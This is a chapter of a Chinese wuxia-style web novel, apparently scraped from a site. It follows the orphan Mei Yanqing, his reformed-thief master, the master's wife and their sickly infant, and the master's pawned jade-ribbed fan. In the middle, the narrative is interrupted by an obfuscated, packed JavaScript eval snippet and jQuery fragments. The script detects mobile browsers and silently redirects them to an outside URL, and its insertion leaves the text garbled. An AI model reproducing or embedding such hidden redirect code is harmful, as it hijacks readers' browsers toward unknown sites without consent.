114. 玉骨清心

作品:《栖梧雪

    “小清,你说这孩子该起什么名字好呢?”


    女子纤长手指轻抚微隆的腹部。明明已怀胎六月,青色裙衫下仍只见清瘦轮廓。


    “别这么喊我!和女人名似的...”少年梗着脖子偏过头,耳尖泛起可疑的薄红。


    少年郎到了叛逆的时候,总像爆竹般一点就着。


    谁知火星子还没迸完,后脑勺就挨了一记大掌。


    “混账东西,怎么同师娘说话的!”


    “要你管!”他捂着发麻的头皮龇牙,活似炸毛的小兽。


    “呀...小清这衣裳是短了吧?”


    女人似乎对师徒间的争执毫不在意,只是默然打量着少年略显局促的衣襟——原来是方才闪躲师父责打时扬起的衣袖,此刻正裂着道细缝。


    “都怪师娘没盘算好,哪料得咱们小清抽条比院里的桑树还快。”女人麻利地将他衣衫拽下,“来,师娘替你改改。”


    “师娘,真的不用麻烦了…”


    少年话音未落,身旁的男人突然揉着鼻尖插话:“媳妇儿,最近我也在长身体呢,要不......”


    女人眼波流转,低声嗔道:“去去去,净添乱!”


    看见如此光景,他竟发自内心地笑了——他已经很久没有这样畅快地笑过。


    “好小子!敢取笑师父!”男人手腕轻抖,玉骨折扇迎面挥来。看似绵软的招式却暗藏玄机,任他如何腾挪,都避不开那如影随形的扇影。


    清脆的巴掌声响起,少年额角顿时泛起红印。


    疼痛尚在其次,更多是憋屈涌上心头——


    “仗着年长欺负人!”少年捂着额头跳脚控诉,“哪有当师父的这么打徒弟?”


    “扑哧!”争执之间,女人端坐软榻,忽以袖掩唇轻笑。


    屋内一大一小两个男人怔在原地,竟都看得痴了。


    “呀!”笑声乍歇,女子突然轻抚微隆腹部惊道,“他踢我!”


    “真的吗?”男人霍然起身。


    “真的,孩儿方才踢了我!”


    “且让我瞧瞧...”男子敛容屏息,郑重其事俯身贴耳,忽而放声大笑,“哈哈!果真如此!”


    他第一次见到师父露出这样的笑容。


    后来他才明白,那是初为人父者独有的笑意。


    尽管在他眼中,这个男人的相貌始终算不得出众,尽管师娘嫁给他,多少有些“下嫁”的意味,可此时此刻,两人的面容上却流转着某种难以名状的辉光。


    ......


    诚然,诚然,他与那对夫妻曾度过一段无忧无虑的时光。


    若非那个意外降临的新生命。


    若没有...那个女孩的出现。


    如果没有她,或许一切都会不一样。


    ......


    在那个女婴降世前,梅晏清从未想到,名震江湖的盗魁竟会为柴米油盐犯难。


    对于这一点,男人却振振有词:“老子从前是个贼,而今改邪归正,自然穷得叮当响!”


    而梅晏清听说,师娘本是名门闺秀,却为情连夜私奔,与显赫家族一刀两断。逢着灾年,全家竟要靠绿林旧友接济度日。


    对于此,少年更是疑惑。


    “既缺银钱,为何不重操旧业?”


    男人颇为窘迫地挠了挠头:“大丈夫说不偷便不偷,既然应承了你师娘,老子怎能反悔?”


    于是这目不识丁的江洋大盗,只得日日顶着拳脚往武馆当教头,归家时常带些青紫瘀痕。


    ——不过这还是幸运的,更窘迫的是偶遇道上故人,昔日威风八面的大盗只能携家带口换个地方躲藏,犹如过街鼠辈,好不狼狈。师娘终究不忍,月子里便捻起绣花针贴补家用。


    纵然这般困顿,少年仍发现屋里多了个攒钱罐。每逢有余钱,师父就叮叮当当往里投,说是存着全家去帝都的盘缠。


    少年也将自己的零用钱悄悄丢进去,想着男人口中那九门八街、灯火彻夜的永昭第一都城。


    “小清。”


    少年应声搁下柴刀,推门而入,正看见女人揉着熬红的眼,一手轻摇竹篮。


    “小清,快帮师娘抱抱她...”


    篮中婴孩睁着乌亮眼眸,小手总要往女人身边添乱。见无人回应,她小嘴一瘪,作势要哭。少年慌忙上前,老练地将这团小麻烦揽进臂弯轻哄。


    “乖...不哭...不哭啊...”


    说也稀奇,那泪珠还在打转的双眼,望见少年之时,竟弯成了月牙。


    女人拭着额角细汗,忽而展颜:“还是小清厉害,囡囡一瞧见你就不闹了...”


    “——且照看半刻,师娘去煎药。”


    “师娘,煎药的活计还是交给我罢...”少年喉头微涩。


    “哎,不必。我手脚利索,这点小事还难不倒师娘...”妇人麻利地添柴控火,架上药罐,“瞧瞧这柴劈得多好,咱们小清越发能干了......”


    梅晏清目光掠过女人低垂的颈项,忽然瞥见那发髻里掺着几根银丝。他心下一动,趋前半步:“师娘鬓角有根白发,我替您摘了吧?”


    女人怔了怔,便静静坐着任由少年摆弄。等少年把银丝收进袖口,她忽然抿嘴一笑:


    “我就说男娃最会疼人吧?偏你师父不信这个理...”


    少年耳根发红,抿着唇不作声。


    女人怀中的婴儿似有所感,小嘴一瘪,突然嚎啕大哭。她赶忙低头安抚:“乖乖...囡囡不哭,男娃女娃都是娘的心头肉,咱们不哭呀——”


    “师娘,还是我来吧...”少年试探着碰了碰那粉嫩的脸蛋,肉乎乎的小手突然攥住他的指尖,破涕为笑。


    他瞧着那小生灵,眸中泛起难言的涟漪。


    ——若非这襁褓中的小生命的到来,师父师娘本该携手云游,何至于困守茅屋日夜操劳?


    这婴孩没什么大病,却生来体弱,动辄便染了风寒。师父亲自寻来一位白眉老僧诊治,于是那小冤家出生不足百日,便被迫灌下数十剂苦药——


    而于这捉襟见肘的贫寒之家,无异于屋漏偏逢连夜雨。


    更令人惊诧的是,老僧初见梅晏清之时,竟一眼瞧出他隐疾缠身,若不及时医治,恐危及性命。


    少年自觉体健如常,认定是招摇撞骗之徒。他坚称自己没病,当场将那老僧大骂一顿。


    后来偶然听得老僧向师父低语,称此子生就反骨相,须得严加管教。


    自此,梅晏清对那僧人愈发憎恶。


    然而少年不久便察觉,师父终究还是将那位老僧迎了回来。


    那日他透过虚掩的门缝,听见男人再三致歉后,好声好气地询问:“老禅师,小清这‘失魂症’当真无药可医么?”


    “法子倒有。老衲便直言罢,此症实在蹊跷,除非寻得常神医传人,或是去来谷隐世医仙出手...否则...”


    老僧言至此处,合掌摇头。


    “只不过纵使得了机缘诊治,那些天材地宝的花销...”


    “能治就成!多谢老禅师指点明路。”男人闻言,反而舒展眉峰,“钱财事小!我独这一个徒儿,便是倾尽所有也要...”


    “我说了没病!用不着你管!”


    少年猛地撞开门,冲男人大吼一声。


    “——还有...别叫我小清!这种娘娘腔的称呼恶心死了...”


    他再听不清后话,抹着眼跑远。


    少年不明白自己都这么大了为何仍这般爱哭,泪水却自顾自地涌出。


    ——实则他对自己的病症并非一无所知。


    自打他记事起,便在街头与野狗争食。就连“清”这个小名,还是师父捡到他时,从那件随身的衣物刺绣里寻得的。


    父母名讳、身世背景俱已成谜,少年只晓得自己名叫小清。


    这病症说来也奇,往昔种种恍若被浓雾吞噬,偏又留得明净神智。


    ——


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629590|166670||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然而失忆未尝不是新生,少年反而庆幸能卸下沉重过往...眼下的安稳已属难得,他又怎能因陈年往事和这莫须有的病,再累及这对夫妇?


    归根结底,若非那小鬼头突然病倒,也不会招惹来那讨人嫌的老和尚,更不会害得师父为自己的病症忧心忡忡。


    少年人的心思总是这般难以捉摸。


    然而眼下...


    最初察觉的异样,是师父竟悄悄典当起往日积攒的贵重物件。某夜他被师父师娘的争执声惊醒,竟听见师娘要师父连自己的陪嫁首饰也拿去变卖。


    素来宠溺师娘的师父那晚罕见地黑了脸,撂下句“莫非你觉得自家男人这般窝囊?”便摔门而去。


    师娘呆坐在摇篮旁默默垂泪,襁褓里本该夜啼的婴孩却反常地安静。


    待到次日,少年发现师父从不离身的玉骨扇竟失了踪影。他问及时,师父只推说不知遗落何处。可没过几日,少年分明在城西当铺的货架上瞧见了那柄折扇。


    此扇以稀世水沫玉为骨,扇面以秘法淬金,吹毛断发,削铁如泥。


    这不止是师父的兵器,也是他与故土最后的牵系——少年早知师父并非永昭人,而是来自更遥远神秘的南海之滨。


    传说中的仙岛所在之地。


    他仍清晰记得初遇师父那日,那人轻摇玉骨折扇,端的是飘逸出尘。分明是身负盖世武学的江湖大盗,令八方豪强闻风丧胆,如今竟为着生计与徒儿的病痛,连最后信物都典当殆尽。


    天下怎会有这般落魄的大侠?


    少年无论如何也无法接受这个事实。


    ——那日他因治病之事大闹一场,众人默契地不再提及。如今折扇的消失,却似压垮少年心防的最后一根稻草。


    少年冲回家中质问男人,为何要典当那柄玉骨扇。对方满不在乎地耸肩:


    “没了这扇子,老子照样是天下第一大盗。拿去换点酒钱,不比供着死物强百倍?”


    若当真只是换酒钱,少年断不会这般恼恨。


    男人分明还在悄悄攒钱,说要医治那所谓的“失魂症”,只为寻回他忘却的来处。


    少年满腔怒火,却感到无能为力。


    “我的身世当真如此重要?我早已不稀罕前尘往事,为何偏要逼我记起?如今这般不好么?你便这般急着将我送回去?!”


    男人罕见地嗫嚅道:“阿清...不是你想的这样...”


    少年一气之下,接连几日对男人不理不睬。


    他凝视着怀中的碧玉镯,终究舍不得送进当铺——那是男人留给他的唯一信物。


    少年紧咬牙关,每日悄悄进城打短工,只盼能攒够赎扇的钱。脏污的搬运活计,油腻的厨灶杂务,晨光未明便起身劳作,脏活累活来者不拒,从天光破晓忙到星斗满天也毫无怨言。


    他得闲便蜷在当铺货架旁,痴痴盯着那把玉骨扇,如同凝望某个遥不可期的梦。


    ——尽管赎金对半大孩子而言堪比天堑,纵使劳作十年也难凑齐。


    可少年却执拗地搬货扛粮,直到一月后的某日清晨,货架上再不见那抹莹白。


    掌柜说,扇子是被一个黑袍人买走,人还没走远。


    少年追出三里地,终于在荒林深处截住那人。


    那黑袍人正悠然把玩折扇,颇为闲适。


    他鼓起勇气上前问道:“这位大爷,这扇子对小人实在要紧...不知能否割爱?”


    黑袍人仿佛早有预料,轻敲扇骨道:“倒也使得。替我办妥三桩差事,此物便归你。”


    少年毫不犹豫点头:“好!只要不是杀人放火...”


    话说到半截,黑袍人突然轻笑着摆摆手。


    “放心,我对这种逼良为娼的勾当可没兴趣。”


    他将折扇轻轻一抛,那被视若珍宝的玉骨扇就这么稳稳落回少年掌心。


    “梅晏清。这是你从前的名姓。”


    “也是一点...小小的诚意。”